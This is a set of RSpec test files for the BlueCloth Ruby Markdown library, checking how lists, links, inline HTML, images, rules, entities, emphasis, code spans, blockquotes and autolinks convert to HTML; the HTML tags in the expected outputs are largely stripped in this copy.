--- end it "supports unordered lists with mixed bullets" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation + Red - Green * Blue ---
  • Red
  • Green
  • Blue
--- end it "supports ordered lists" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation 1. Bird 2. McHale 3. Parish ---
  1. Bird
  2. McHale
  3. Parish
--- end it "doesn't care what the actual numbers you use to mark up an unordered list are (all 1s)" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation 1. Bird 1. McHale 1. Parish ---
  1. Bird
  2. McHale
  3. Parish
--- end it "doesn't care what the actual numbers you use to mark up an unordered list are (random numbers)" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation 3. Bird 1. McHale 8. Parish ---
  1. Bird
  2. McHale
  3. Parish
--- end it "supports hanging indents" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation * Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. * Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing. ---
  • Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.
  • Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.
--- end it "supports lazy indents" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation * Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. * Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing. ---
  • Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.
  • Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.
--- end it "wraps the items in

tags if the list items are separated by blank lines" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation * Bird * Magic ---

  • Bird

  • Magic

--- end it "supports multi-paragraph list items" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation 1. This is a list item with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. Donec sit amet nisl. Aliquam semper ipsum sit amet velit. 2. Suspendisse id sem consectetuer libero luctus adipiscing. ---
  1. This is a list item with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.

    Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. Donec sit amet nisl. Aliquam semper ipsum sit amet velit.

  2. Suspendisse id sem consectetuer libero luctus adipiscing.

--- end it "supports multi-paragraph list items followed by paragraph" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation 1. This is a list item with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. Donec sit amet nisl. Aliquam semper ipsum sit amet velit. 2. Suspendisse id sem consectetuer libero luctus adipiscing. This is a following paragraph which shouldn't be part of the list. ---
  1. This is a list item with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.

    Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. Donec sit amet nisl. Aliquam semper ipsum sit amet velit.

  2. Suspendisse id sem consectetuer libero luctus adipiscing.

This is a following paragraph which shouldn't be part of the list.

--- end it "supports lazy multi-paragraphs" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation * This is a list item with two paragraphs. This is the second paragraph in the list item. You're only required to indent the first line. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. * Another item in the same list. ---
  • This is a list item with two paragraphs.

    This is the second paragraph in the list item. You're only required to indent the first line. Lorem ipsum dolor sit amet, consectetuer adipiscing elit.

  • Another item in the same list.

--- end it "supports blockquotes in list items" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation * A list item with a blockquote: > This is a blockquote > inside a list item. ---
  • A list item with a blockquote:

    This is a blockquote inside a list item.

--- end it "supports code blocks in list items" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation * A list item with a code block: ---
  • A list item with a code block:

    <code goes here>
    		
--- end it "doesn't transform a backslash-escaped number-period-space into an ordered list" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation 1986\\. What a great season. ---

1986. What a great season.

--- end end bluecloth-2.2.0/spec/bluecloth/links_spec.rb0000644000175000017500000001317211665167136020464 0ustar boutilboutil#!/usr/bin/env ruby # encoding: utf-8 BEGIN { require 'pathname' basedir = Pathname.new( __FILE__ ).dirname.parent.parent libdir = basedir + 'lib' $LOAD_PATH.unshift( libdir ) unless $LOAD_PATH.include?( libdir ) } require 'rspec' require 'bluecloth' require 'spec/lib/helpers' ##################################################################### ### C O N T E X T S ##################################################################### describe BlueCloth, "links" do it "supports inline links" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation An [example](http://url.com/). ---

An example.

--- end it "supports inline link with a title" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation An [example](http://url.com/ "Check out url.com!"). ---

An example.

--- end it "supports reference-style links with no title" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation An [example][ex] reference-style link. [ex]: http://www.bluefi.com/ ---

An example reference-style link.

--- end it "supports indented (less than tabwidth) reference-style links" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation An [example][ex] reference-style link. [ex]: http://www.bluefi.com/ ---

An example reference-style link.

--- end it "supports reference-style links with quoted titles" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation An [example][ex] reference-style link. [ex]: http://www.bluefi.com/ "Check out our air." ---

An example reference-style link.

--- end it "supports reference-style links with paren titles" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation An [example][ex] reference-style link. [ex]: http://www.bluefi.com/ (Check out our air.) ---

An example reference-style link.

--- end it "supports reference-style links with intervening spaces" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation You can split the [linked part] [ex] from the reference part with a single space. [ex]: http://www.treefrog.com/ "for some reason" ---

You can split the linked part from the reference part with a single space.

--- end it "supports reference-style links with intervening spaces" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation You can split the [linked part] [ex] from the reference part with a newline in case your editor wraps it there, I guess. [ex]: http://www.treefrog.com/ ---

You can split the linked part from the reference part with a newline in case your editor wraps it there, I guess.

--- end it "supports reference-style anchors" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation I get 10 times more traffic from [Google] [1] than from [Yahoo] [2] or [MSN] [3]. [1]: http://google.com/ "Google" [2]: http://search.yahoo.com/ "Yahoo Search" [3]: http://search.msn.com/ "MSN Search" ---

I get 10 times more traffic from Google than from Yahoo or MSN.

--- end it "supports implicit name-link shortcut anchors" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation I get 10 times more traffic from [Google][] than from [Yahoo][] or [MSN][]. [google]: http://google.com/ "Google" [yahoo]: http://search.yahoo.com/ "Yahoo Search" [msn]: http://search.msn.com/ "MSN Search" ---

I get 10 times more traffic from Google than from Yahoo or MSN.

--- end it "supports inline anchors" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation I get 10 times more traffic from [Google](http://google.com/ "Google") than from [Yahoo](http://search.yahoo.com/ "Yahoo Search") or [MSN](http://search.msn.com/ "MSN Search"). ---

I get 10 times more traffic from Google than from Yahoo or MSN.

--- end it "fails gracefully for unclosed brackets (and bug #524)" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation This is just a [bracket opener; it should fail gracefully. ---

This is just a [bracket opener; it should fail gracefully.

--- end it "fails gracefully for unresolved reference-style links (Bug #620)" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation This is an unresolved [url][1]. ---

This is an unresolved [url][1].

--- end end bluecloth-2.2.0/spec/bluecloth/inline_html_spec.rb0000644000175000017500000001042411665167136021643 0ustar boutilboutil#!/usr/bin/env ruby # encoding: utf-8 BEGIN { require 'pathname' basedir = Pathname.new( __FILE__ ).dirname.parent.parent libdir = basedir + 'lib' $LOAD_PATH.unshift( basedir ) unless $LOAD_PATH.include?( basedir ) $LOAD_PATH.unshift( libdir ) unless $LOAD_PATH.include?( libdir ) } require 'rspec' require 'bluecloth' require 'spec/lib/helpers' ##################################################################### ### C O N T E X T S ##################################################################### describe BlueCloth, "document with inline HTML" do it "preserves TABLE block" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation This is a regular paragraph.
Foo
This is another regular paragraph. ---

This is a regular paragraph.

Foo

This is another regular paragraph.

--- end it "preserves DIV block" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation This is a regular paragraph.
Something
Something else. ---

This is a regular paragraph.

Something

Something else.

--- end it "preserves HRs" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation This is a regular paragraph.
Something else. ---

This is a regular paragraph.


Something else.

--- end it "preserves fancy HRs" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation This is a regular paragraph.
Something else. ---

This is a regular paragraph.


Something else.

--- end it "preserves IFRAMEs" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation This is a regular paragraph. Something else. ---

This is a regular paragraph.

Something else.

--- end it "preserves span-level HTML" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation This is some stuff with a spanned bit of text in it. And this *should* be a bit of deleted text which should be preserved, and part of it emphasized. ---

This is some stuff with a spanned bit of text in it. And this should be a bit of deleted text which should be preserved, and part of it emphasized.

--- end it "preserves block-level HTML case-insensitively" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation This is a regular paragraph.
Foo
This is another regular paragraph. ---

This is a regular paragraph.

Foo

This is another regular paragraph.

--- end it "preserves span-level HTML case-insensitively" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation This is some stuff with a spanned bit of text in it. And this *should* be a bit of deleted text which should be preserved, and part of it emphasized. ---

This is some stuff with a spanned bit of text in it. And this should be a bit of deleted text which should be preserved, and part of it emphasized.

--- end it "preserves HTML5 tags" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation The main content.

Copyright © 2010 by J. Random Hacker.

---

The main content.

Copyright © 2010 by J. Random Hacker.

--- end end bluecloth-2.2.0/spec/bluecloth/images_spec.rb0000644000175000017500000000474111665167136020613 0ustar boutilboutil#!/usr/bin/env ruby # encoding: utf-8 BEGIN { require 'pathname' basedir = Pathname.new( __FILE__ ).dirname.parent.parent libdir = basedir + 'lib' $LOAD_PATH.unshift( basedir ) unless $LOAD_PATH.include?( basedir ) $LOAD_PATH.unshift( libdir ) unless $LOAD_PATH.include?( libdir ) } require 'rspec' require 'bluecloth' require 'spec/lib/helpers' ##################################################################### ### C O N T E X T S ##################################################################### describe BlueCloth, "images" do ### [Images] # Inline image with title it "transforms inline images with a title in double quotes to an IMG tag" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ![alt text](/path/img.jpg "Title") ---

alt text

--- end # Inline image with title (single-quotes) it "transforms inline images with a title in single quotes to an IMG tag" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ![alt text](/path/img.jpg 'Title') ---

alt text

--- end # Inline image with title (with embedded quotes) it "transforms inline images with a title that includes quotes to an IMG tag" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ![alt text](/path/img.jpg 'The "Title" Image') ---

alt text

--- end # Inline image without title it "transforms inline images without a title to an IMG tag" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ![alt text](/path/img.jpg) ---

alt text

--- end # Inline image with quoted alt text it "transforms inline images with quoted alt text to an IMG tag" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ![the "alt text"](/path/img.jpg) ---

the "alt text"

--- end # Reference image it "transforms image references with a title to an IMG tag" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ![alt text][id] [id]: /url/to/img.jpg "Title" ---

alt text

--- end end bluecloth-2.2.0/spec/bluecloth/hrules_spec.rb0000644000175000017500000000431411665167136020644 0ustar boutilboutil#!/usr/bin/env ruby # encoding: utf-8 BEGIN { require 'pathname' basedir = Pathname.new( __FILE__ ).dirname.parent.parent libdir = basedir + 'lib' $LOAD_PATH.unshift( basedir ) unless $LOAD_PATH.include?( basedir ) $LOAD_PATH.unshift( libdir ) unless $LOAD_PATH.include?( libdir ) } require 'rspec' require 'bluecloth' require 'spec/lib/helpers' ##################################################################### ### C O N T E X T S ##################################################################### describe BlueCloth, "horizontal rules" do # Hrule -- three asterisks it "produces a horizontal rule tag from three asterisks on a line by themselves" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation *** ---
--- end # Hrule -- three spaced-out asterisks it "produces a horizontal rule tag from three asterisks with intervening spaces on a line " + " by themselves" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation * * * ---
--- end # Indented Hrule -- three spaced-out asterisks it "produces a horizontal rule tag from three asterisks with intervening spaces on a line " + " by themselves, even if they're indented less than 4 spaces" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation * * * ---
--- end # Hrule -- more than three asterisks it "produces a horizontal rule tag from more than three asterisks on a line by themselves" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ***** ---
--- end # Hrule -- a line of dashes it "produces a horizontal rule tag from three dashes on a line by themselves" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation --------------------------------------- ---
--- end # Hrule -- three spaced-out dashes it "produces a horizontal rule tag from three dashes with intervening spaces on a line " + " by themselves" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation - - - ---
--- end end bluecloth-2.2.0/spec/bluecloth/entities_spec.rb0000644000175000017500000000526711665167136021176 0ustar boutilboutil#!/usr/bin/env ruby # encoding: utf-8 BEGIN { require 'pathname' basedir = Pathname.new( __FILE__ ).dirname.parent.parent libdir = basedir + 'lib' $LOAD_PATH.unshift( basedir ) unless $LOAD_PATH.include?( basedir ) $LOAD_PATH.unshift( libdir ) unless $LOAD_PATH.include?( libdir ) } require 'rspec' require 'bluecloth' require 'spec/lib/helpers' ##################################################################### ### C O N T E X T S ##################################################################### describe BlueCloth, "document with entities" do it "escapes special characters" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation The left shift operator, which is written as <<, is often used & greatly admired. ---

The left shift operator, which is written as <<, is often used & greatly admired.

--- end it "preserves named entities" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation The left shift operator, which is written as <<, is often used & greatly admired. ---

The left shift operator, which is written as <<, is often used & greatly admired.

--- end it "preserves decimal-encoded entities" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation The left shift operator, which is written as <<, is often used & greatly admired. ---

The left shift operator, which is written as <<, is often used & greatly admired.

--- end it "preserves hex-encoded entities" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation The left shift operator, which is written as <<, is often used & greatly admired. ---

The left shift operator, which is written as <<, is often used & greatly admired.

--- end it "handles a mix of entities in code spans and not in code spans (issue #73)" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation # HTML Text is Unicode # * You can either use character entities or character codes for foreign language characters and symbols: * ``é`` or ``é`` is e-acute (é) * ``©`` or ``©`` is the copyright symbol © ---

HTML Text is Unicode

  • You can either use character entities or character codes for foreign language characters and symbols:
  • &eacute; or &#233; is e-acute (é)
  • &copy; or &#169; is the copyright symbol ©
--- end end bluecloth-2.2.0/spec/bluecloth/emphasis_spec.rb0000644000175000017500000001252611665167136021157 0ustar boutilboutil#!/usr/bin/env ruby # encoding: utf-8 BEGIN { require 'pathname' basedir = Pathname.new( __FILE__ ).dirname.parent.parent libdir = basedir + 'lib' $LOAD_PATH.unshift( basedir ) unless $LOAD_PATH.include?( basedir ) $LOAD_PATH.unshift( libdir ) unless $LOAD_PATH.include?( libdir ) } require 'rspec' require 'bluecloth' require 'spec/lib/helpers' ##################################################################### ### C O N T E X T S ##################################################################### describe BlueCloth, "emphasis" do it "treats single asterisks as indicators of emphasis" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation Use *single splats* for emphasis. ---

Use single splats for emphasis.

--- end it "treats single underscores as indicators of emphasis" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation Use *underscores* for emphasis. ---

Use underscores for emphasis.

--- end it "treats double asterisks as strong emphasis" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation Use **double splats** for more emphasis. ---

Use double splats for more emphasis.

--- end it "treats double underscores as strong emphasis" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation Use __doubled underscores__ for more emphasis. ---

Use doubled underscores for more emphasis.

--- end it "allows you to use both kinds of emphasis in a single span" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation Use *single splats* or _single unders_ for normal emphasis. ---

Use single splats or single unders for normal emphasis.

--- end it "allows you to use both kinds of strong emphasis in a single span" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation Use _single unders_ for normal emphasis or __double them__ for strong emphasis. ---

Use single unders for normal emphasis or double them for strong emphasis.

--- end it "allows you to include literal asterisks by escaping them" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation You can include literal *\\*splats\\** by escaping them. ---

You can include literal *splats* by escaping them.

--- end it "allows two instances of asterisked emphasis on one line" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation If there's *two* splatted parts on a *single line* it should still work. ---

If there's two splatted parts on a single line it should still work.

--- end it "allows two instances of double-asterisked emphasis on one line" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation This **doubled** one should **work too**. ---

This doubled one should work too.

--- end it "allows two instances of underscored emphasis on one line" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation If there's _two_ underbarred parts on a _single line_ it should still work. ---

If there's two underbarred parts on a single line it should still work.

--- end it "allows two instances of double-underscored emphasis on one line" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation This __doubled__ one should __work too__. ---

This doubled one should work too.

--- end it "correctly emphasizes the first span of the text if it's emphasized with asterisks" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation *Something* like this should be bold. ---

Something like this should be bold.

--- end it "correctly emphasizes the first span of the text if it's emphasized with underscores" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation _Something_ like this should be bold. ---

Something like this should be bold.

--- end it "correctly emphasizes the first span of the text if it's emphasized with double asterisks" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation **Something** like this should be bold. ---

Something like this should be bold.

--- end it "correctly emphasizes the first span of the text if it's emphasized with double underscores" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation __Something__ like this should be bold. ---

Something like this should be bold.

--- end # Partial-word emphasis (Bug #568) it "correctly emphasizes just a part of a word (bugfix for #568)" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation **E**xtended **TURN** ---

Extended TURN

--- end end bluecloth-2.2.0/spec/bluecloth/code_spans_spec.rb0000644000175000017500000001051211665167136021455 0ustar boutilboutil#!/usr/bin/env ruby # encoding: utf-8 BEGIN { require 'pathname' basedir = Pathname.new( __FILE__ ).dirname.parent.parent libdir = basedir + 'lib' $LOAD_PATH.unshift( basedir ) unless $LOAD_PATH.include?( basedir ) $LOAD_PATH.unshift( libdir ) unless $LOAD_PATH.include?( libdir ) } require 'rspec' require 'bluecloth' require 'spec/lib/helpers' ##################################################################### ### C O N T E X T S ##################################################################### describe BlueCloth, "that contains code blocks or spans" do it "wraps CODE tags around backticked spans" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation Making `code` work for you ---

Making code work for you

--- end it "allows you to place literal backtick characters at the beginning or end of a code span " + "by padding the inner string with spaces" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation Making `` `code` `` work for you ---

Making `code` work for you

--- end it "wraps CODE tags around doubled backtick spans with a single literal backtick inside them" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ``There is a literal backtick (`) here.`` ---

There is a literal backtick (`) here.

--- end it "correctly transforms two literal spans in one line" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation This `thing` should be `two` spans. ---

This thing should be two spans.

--- end it "correctly transforms literal spans at the beginning of a line" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation I should think that the `tar` command would be universal. ---

I should think that the tar command would be universal.

--- end it "encodes ampersands and angle brackets within code spans as HTML entities" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation The left angle-bracket (`<`) can also be written as a decimal-encoded (`<`) or hex-encoded (`<`) entity. This also works with `
` elements. ---

The left angle-bracket (&lt;) can also be written as a decimal-encoded (&#060;) or hex-encoded (&#x3c;) entity. This also works with <div> elements.

--- end # At the beginning of a document (Bug #525) it "correctly transforms code spans at the beginning of paragraphs (bug #525)" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation `world` views ---

world views

--- end ### [Code blocks] # Para plus code block (literal tab, no colon) it "wraps sections indented with a literal tab in a code block" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation This is a chunk of code some.code > some.other_code Some stuff. ---

This is a chunk of code

some.code > some.other_code
		

Some stuff.

--- end # Para plus code block (tab-width spaces) it "wraps sections indented with at least 4 spaces in a code block" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation This is a chunk of code: some.code > some.other_code Some stuff. ---

This is a chunk of code:

some.code > some.other_code
		

Some stuff.

--- end # Preserve leading whitespace (Bug #541) it "removes one level of indentation (and no more) from code blocks" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation Examples: # (Waste character because first line is flush left !!!) # Example script1 x = 1 x += 1 puts x Some stuff. ---

Examples:

      # (Waste character because first line is flush left !!!)
		      # Example script1
		      x = 1
		      x += 1
		      puts x
		

Some stuff.

--- end end bluecloth-2.2.0/spec/bluecloth/blockquotes_spec.rb0000644000175000017500000001001611665167136021671 0ustar boutilboutil#!/usr/bin/env ruby # encoding: utf-8 BEGIN { require 'pathname' basedir = Pathname.new( __FILE__ ).dirname.parent.parent libdir = basedir + 'lib' $LOAD_PATH.unshift( basedir ) unless $LOAD_PATH.include?( basedir ) $LOAD_PATH.unshift( libdir ) unless $LOAD_PATH.include?( libdir ) } require 'rspec' require 'bluecloth' require 'spec/lib/helpers' ##################################################################### ### C O N T E X T S ##################################################################### describe BlueCloth, "blockquotes" do ### [Blockquotes] # Regular 1-level blockquotes it "wraps sections with an angle-bracket left margin in a blockquote" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation > Email-style angle brackets > are used for blockquotes. ---

Email-style angle brackets are used for blockquotes.

--- end # Nested blockquotes it "supports nested blockquote sections" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation > Email-style angle brackets > are used for blockquotes. > > And, they can be nested. ---

Email-style angle brackets are used for blockquotes.

And, they can be nested.

--- end # Doubled blockquotes it "supports nested blockquote sections even if there's only one multi-level section" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation > > And, they can be nested. ---

And, they can be nested.

--- end # Lazy blockquotes it "wraps sections preceded by an angle-bracket in a blockquote" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation > This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. > Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing. ---

This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.

Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.

--- end # Blockquotes containing other markdown elements it "supports other Markdown elements in blockquote sections" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation > ## This is a header. > > 1. This is the first list item. > 2. This is the second list item. > > Here's some example code: > > return shell_exec("echo $input | $markdown_script"); ---

This is a header.

  1. This is the first list item.
  2. This is the second list item.

Here's some example code:

return shell_exec("echo $input | $markdown_script");
		
--- end # Blockquotes with a
 section
	it "supports block-level HTML inside of blockquotes", :pedantic => true do
		pending "a fix in Discount" do
			the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation
			> The best approximation of the problem is the following code:
			>
			> 
			> foo + bar; foo.factorize; foo.display
			> 
> > This should result in an error on any little-endian platform. > >
- Garrick Mettronne
---

The best approximation of the problem is the following code:

			foo + bar; foo.factorize; foo.display
			

This should result in an error on any little-endian platform.

- Garrick Mettronne
--- end end end bluecloth-2.2.0/spec/bluecloth/autolinks_spec.rb0000644000175000017500000000236511665167136021357 0ustar boutilboutil#!/usr/bin/env ruby # encoding: utf-8 BEGIN { require 'pathname' basedir = Pathname.new( __FILE__ ).dirname.parent.parent libdir = basedir + 'lib' $LOAD_PATH.unshift( basedir ) unless $LOAD_PATH.include?( basedir ) $LOAD_PATH.unshift( libdir ) unless $LOAD_PATH.include?( libdir ) } require 'rspec' require 'bluecloth' require 'spec/lib/helpers' ##################################################################### ### C O N T E X T S ##################################################################### describe BlueCloth, "auto-links" do it "supports HTTP auto-links" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation This is a reference to . You should follow it. ---

This is a reference to http://www.FaerieMUD.org/. You should follow it.

--- end it "supports FTP auto-link" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation Why not download your very own chandelier from ? ---

Why not download your very own chandelier from ftp://ftp.usuc.edu/pub/foof/mir/?

--- end end bluecloth-2.2.0/spec/bluecloth/TEMPLATE0000644000175000017500000000126611665167136017144 0ustar boutilboutil#!/usr/bin/env ruby # encoding: utf-8 BEGIN { require 'pathname' basedir = Pathname.new( __FILE__ ).dirname.parent.parent libdir = basedir + 'lib' $LOAD_PATH.unshift( basedir ) unless $LOAD_PATH.include?( basedir ) $LOAD_PATH.unshift( libdir ) unless $LOAD_PATH.include?( libdir ) } require 'rspec' require 'bluecloth' require 'spec/lib/helpers' ##################################################################### ### C O N T E X T S ##################################################################### describe BlueCloth, "" do it "does something cool" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation --- --- end end bluecloth-2.2.0/spec/bluecloth/101_changes_spec.rb0000644000175000017500000000755011665167136021340 0ustar boutilboutil#!/usr/bin/env ruby # encoding: utf-8 BEGIN { require 'pathname' basedir = Pathname.new( __FILE__ ).dirname.parent.parent libdir = basedir + 'lib' $LOAD_PATH.unshift( basedir ) unless $LOAD_PATH.include?( basedir ) $LOAD_PATH.unshift( libdir ) unless $LOAD_PATH.include?( libdir ) } require 'rspec' require 'bluecloth' require 'spec/lib/helpers' ##################################################################### ### C O N T E X T S ##################################################################### describe BlueCloth, "after the 1.0.1 changes" do it "doesn't touch escapes in code blocks" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation Markdown allows you to use backslash escapes to generate literal characters which would otherwise have special meaning in Markdown's formatting syntax. For example, if you wanted to surround a word with literal asterisks (instead of an HTML `` tag), you can backslashes before the asterisks, like this: \\*literal asterisks\\* ---

Markdown allows you to use backslash escapes to generate literal characters which would otherwise have special meaning in Markdown's formatting syntax. For example, if you wanted to surround a word with literal asterisks (instead of an HTML <em> tag), you can backslashes before the asterisks, like this:

\\*literal asterisks\\*
		
--- end it "shouldn't touched escapes in code spans" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation You can escape the splat operator by backslashing it like this: `/foo\\*/`. ---

You can escape the splat operator by backslashing it like this: /foo\\*/.

--- end it "converts reference-style links at or deeper than tab width to code blocks" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation An [example][ex] reference-style link. [ex]: http://www.bluefi.com/ ---

An [example][ex] reference-style link.

[ex]: http://www.bluefi.com/
		
--- end it "fixes inline links using < and > URL delimiters, which weren't working" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation like [this]() ---

like this

--- end it "keeps HTML comment blocks as-is" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation --- --- end it "doesn't auto-link inside code spans" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation like this: `` ---

like this: <http://example.com/>

